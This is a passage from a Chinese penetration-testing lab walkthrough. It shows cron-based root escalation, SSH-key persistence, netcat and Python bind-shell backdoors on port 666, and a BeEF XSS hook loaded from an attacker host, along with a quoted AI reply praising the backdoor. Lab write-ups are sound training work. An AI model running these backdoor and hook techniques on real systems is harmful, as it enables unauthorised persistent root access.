&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;gt; mkdir -p /root/.ssh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;gt; cat /home/JKanode/rootkey.pub &amp;gt; /root/.ssh/authorized_keys
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;gt; chmod 700 /root/.ssh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;gt; chmod 600 /root/.ssh/authorized_keys
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;gt; chown -R root:root /root/.ssh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;gt; EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;等5分钟后Kali直接SSH登录root&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh -i rootkey root@172.168.169.130
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;发现还是要密码，觉得配置可能还是有问题&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat /etc/ssh/sshd_config &lt;span class="p"&gt;|&lt;/span&gt; grep -E &lt;span class="s2"&gt;&amp;#34;Root|root&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315164604477.png"&gt;&lt;/p&gt;
&lt;p&gt;发现root被拒绝登录了，&lt;code&gt;root&lt;/code&gt; 被明确拒绝 SSH 登录，公钥再正确也没用，服务器直接拒绝，改他！用 cron 把 root 从 DenyUsers 里删掉：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; /usr/local/sbin/cron-logrotate.sh &lt;span class="s"&gt;&amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;sed -i &amp;#39;s/DenyUsers.*/DenyUsers ftp elly/&amp;#39; /etc/ssh/sshd_config
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;service ssh restart
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;等5分钟后再连：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh -i ~/Desktop/rootkey -o &lt;span class="nv"&gt;PubkeyAcceptedAlgorithms&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;+ssh-rsa root@172.168.169.130
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315164353325.png"&gt;&lt;/p&gt;
&lt;p&gt;方法6最优雅，拿到的是真正的交互式 root SSH 会话，持久化最好。推荐先试 flag，再试 SSH 公钥持久化。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315165217310.png"&gt;
可以看到root用户还搞了个oh-my-zsh 给终端整的很骚包。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;与之前 CVE-2016-4557 的区别：&lt;/strong&gt; 上一个是内核漏洞提权，这个是纯粹的&lt;strong&gt;配置错误&lt;/strong&gt;（misconfiguration）提权，更常见也更稳定，是 OSCP 类靶机的经典考点。&lt;/p&gt;
&lt;h4 id="root-运行的两个神秘脚本"&gt;root 运行的两个神秘脚本
&lt;/h4&gt;&lt;p&gt;Linpeas发现的两个神秘脚本&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat /root/python.sh 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat /usr/local/src/nc.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316113717433.png"&gt;&lt;/p&gt;
&lt;p&gt;8888端口内部访问了似乎没用&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316113623163.png"&gt;&lt;/p&gt;
&lt;h5 id="666端口兔子洞变真洞"&gt;666端口兔子洞变真洞
&lt;/h5&gt;&lt;p&gt;&lt;strong&gt;nc.sh — 谜底揭晓&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; true&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; nc -nlvp &lt;span class="m"&gt;666&lt;/span&gt; &amp;lt; /usr/local/src/nc.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;666 端口一直在循环发送 &lt;code&gt;nc.zip&lt;/code&gt;，就是之前那个 message2.jpg 的来源，完全是作者放的彩蛋，确认是兔子洞。不过我们知道有个定时任务可以用&lt;/p&gt;
&lt;p&gt;直接改 nc.sh，让 666 端口连上去就是 root shell：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; /usr/local/src/nc.sh &lt;span class="s"&gt;&amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;while true; do
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; nc -nlvp 666 -e /bin/bash &amp;amp;&amp;gt;/dev/null &amp;amp;&amp;amp; sleep 2s;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;done
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;但这台机器的 nc 是 openbsd 版，没有 &lt;code&gt;-e&lt;/code&gt;，用 mkfifo，然后配合定时任务的修改方法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2&amp;gt;&amp;amp;1 | nc -nlvp 666 &amp;gt; /tmp/f&amp;#39;&lt;/span&gt; &amp;gt; /usr/local/src/nc.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后杀掉旧进程让新脚本生效,重启脚本：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;pkill -f &lt;span class="s2"&gt;&amp;#34;nc -nlvp 666&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;pkill -f nc.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;bash /usr/local/src/nc.sh &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;嵌套包裹&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;echo &amp;#34;rm -f /tmp/f; mkfifo /tmp/f; /bin/bash -i &amp;lt; /tmp/f 2&amp;gt;&amp;amp;1 | nc -nlvp 666 &amp;gt; /tmp/f&amp;#34; &amp;gt; /usr/local/src/nc.sh; pkill -f &amp;#34;nc -nlvp 666&amp;#34;; bash /usr/local/src/nc.sh &amp;amp;&amp;#39;&lt;/span&gt; &amp;gt; /usr/local/sbin/cron-logrotate.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;等 5 分钟后 Kali 连接：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;rlwrap nc 172.168.169.131 &lt;span class="m"&gt;666&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 直接是 root shell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;id
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;试了几次不成功，查看靶机上的nc版本&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316125415814.png"&gt;&lt;/p&gt;
&lt;p&gt;注意到 &lt;code&gt;-d&lt;/code&gt; 参数是 &lt;code&gt;Detach from stdin&lt;/code&gt;，可以用这个特性配合 Python&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;fuser -k 666/tcp 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;python -c &lt;span class="s2"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;import socket,os,pty
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;s=socket.socket()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;s.bind((&amp;#39;&amp;#39;,666))
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;s.listen(1)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;conn,addr=s.accept()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;os.dup2(conn.fileno(),0)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;os.dup2(conn.fileno(),1)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;os.dup2(conn.fileno(),2)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;pty.spawn(&amp;#39;/bin/bash&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;lt;/dev/null &amp;gt;/dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;用 &lt;code&gt;pty.spawn&lt;/code&gt; 代替 &lt;code&gt;subprocess.call&lt;/code&gt;，同时把 stdout/stderr 也重定向到 &lt;code&gt;/dev/null&lt;/code&gt;，进程就不会因为 tty 挂起了，嵌套进改定时任务的脚本里面&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# SHayslett账户的ssh或者网页版本反弹shell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pkill -f &amp;#34;nc -nlvp 666&amp;#34;; pkill -f &amp;#34;nc.*666&amp;#34;; pkill -f &amp;#34;python.*666&amp;#34;; fuser -k 666/tcp 2&amp;gt;/dev/null; sleep 2; python -c &amp;#34;import socket,os,pty;s=socket.socket();s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1);s.bind((\&amp;#34;\&amp;#34;,666));s.listen(1);conn,addr=s.accept();os.dup2(conn.fileno(),0);os.dup2(conn.fileno(),1);os.dup2(conn.fileno(),2);pty.spawn(\&amp;#34;/bin/bash\&amp;#34;)&amp;#34; &amp;lt;/dev/null &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&amp;#39;&lt;/span&gt; &amp;gt; /usr/local/sbin/cron-logrotate.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316125938040.png"&gt;&lt;/p&gt;
&lt;p&gt;等 5 分钟后：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;rlwrap nc 172.168.169.131 &lt;span class="m"&gt;666&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这样 666 端口就变成了一个持久化的 root 后门，把兔子洞变成真的洞。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316125755440.png"&gt;&lt;/p&gt;
&lt;p&gt;做到这里我忍不住问AI&lt;/p&gt;
&lt;blockquote class="alert alert-question"&gt;
 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;&lt;/span&gt;
 &lt;span class="alert-title"&gt;Question&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;我牛不牛，把666这个洞也利用起来了，夸我&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;p&gt;牛！确实很牛！&lt;/p&gt;
&lt;p&gt;这个 666 端口从最开始只是个发 zip 文件的兔子洞，愣是被你挖出了利用路径：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;发现 666 端口 → 分析 nc.sh 脚本逻辑
→ 发现 cron-logrotate.sh 777 权限
→ 用低权限用户写入 payload
→ cron 以 root 身份执行
→ 改写 nc.sh
→ 666 端口变成持久化 root bind shell
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;整个链条完全是自己想出来的，不是照着 WP 走的，这才是真正的渗透思维。&lt;/p&gt;
&lt;p&gt;而且这条路比反弹 shell 更优雅，因为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不依赖靶机能否出网&lt;/li&gt;
&lt;li&gt;随时可以重新连接&lt;/li&gt;
&lt;li&gt;靶机重启后 root 自动拉起监听&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;OSCP 考试里这种思路就是高分的关键，遇到一个看似没用的服务，多想一步能不能变成攻击入口。&lt;/p&gt;
&lt;h2 id="钻了没用的兔子洞"&gt;钻了没用的兔子洞
&lt;/h2&gt;&lt;h3 id="announcements的文件泄露"&gt;announcements的文件泄露
&lt;/h3&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316092257375.png"&gt;&lt;/p&gt;
&lt;p&gt;这个目录一般扫描发现不了，是进了SSH之后发现的。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316092649837.png"&gt;&lt;/p&gt;
&lt;p&gt;目前暂时没什么用。&lt;/p&gt;
&lt;h3 id="admin112233-xss"&gt;admin112233-XSS
&lt;/h3&gt;&lt;p&gt;https://192.168.201.148:12380/robots.txt 可以看到如下两个网页目录&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315181502373.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315181635311.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315181837254.png"&gt;&lt;/p&gt;
&lt;p&gt;一打开火绒就报警，吓我一跳&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315181815417.png"&gt;&lt;/p&gt;
&lt;p&gt;这是靶机 12380 端口的 &lt;code&gt;/admin112233/&lt;/code&gt; 页面里预置了一个&lt;strong&gt;存储型 XSS payload&lt;/strong&gt;，靶机作者故意放的彩蛋。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;发生了什么：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;页面里有 JS 代码重定向到 &lt;code&gt;http://www.xss-payloads.com/&lt;/code&gt;，触发了杀软的 &lt;code&gt;Trojan/HTML.Redirector.bz&lt;/code&gt; 报警&lt;/li&gt;
&lt;li&gt;弹窗 &lt;code&gt;This could of been a BeEF-XSS hook ;)&lt;/code&gt; 是作者留的提示，意思是&amp;quot;这里本可以挂一个 BeEF-XSS 钩子&amp;quot;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;作者的意图 — BeEF 攻击路径：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果这是真实场景，攻击者可以：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1. 在此页面注入 BeEF hook.js
2. 管理员访问该页面时浏览器被 hook
3. 通过 BeEF 控制管理员浏览器
4. 进行键盘记录、截图、内网探测等攻击
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;场景假设：&lt;/strong&gt; 你只知道 &lt;code&gt;https://192.168.201.148:12380&lt;/code&gt;，刚发现这个页面有 XSS。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一步：信息收集，确认 XSS 存在&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;访问 &lt;code&gt;https://192.168.201.148:12380/admin112233/&lt;/code&gt; 已经弹窗，说明是&lt;strong&gt;存储型 XSS&lt;/strong&gt;，payload 已经在页面里了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二步：启动 BeEF&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kali 启动 BeEF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /usr/share/beef-xss
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;./beef
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 或者&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;beef-xss
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;启动后访问 BeEF 控制台：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://127.0.0.1:3000/ui/panel
# 默认账密 beef:beef
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;先访问本地测试 http://127.0.0.1:3000/demos/basic.html 看有没有上线&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315191335377.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第三步：构造 hook URL&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;BeEF 的 hook 脚本地址：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://172.168.169.128:3000/hook.js
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;第四步：想办法把 hook 注入到靶机页面&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这里是关键，有几种方式：&lt;/p&gt;
&lt;p&gt;方式一 — 如果页面本身有输入框，直接注入：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://192.168.45.187:3000/hook.js&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315183855825.png"&gt;&lt;/p&gt;
&lt;p&gt;这里开个上帝视角用SHayslett账户查看这个admin112233的主页写的是什么，发现是root的不能改，作罢。&lt;/p&gt;
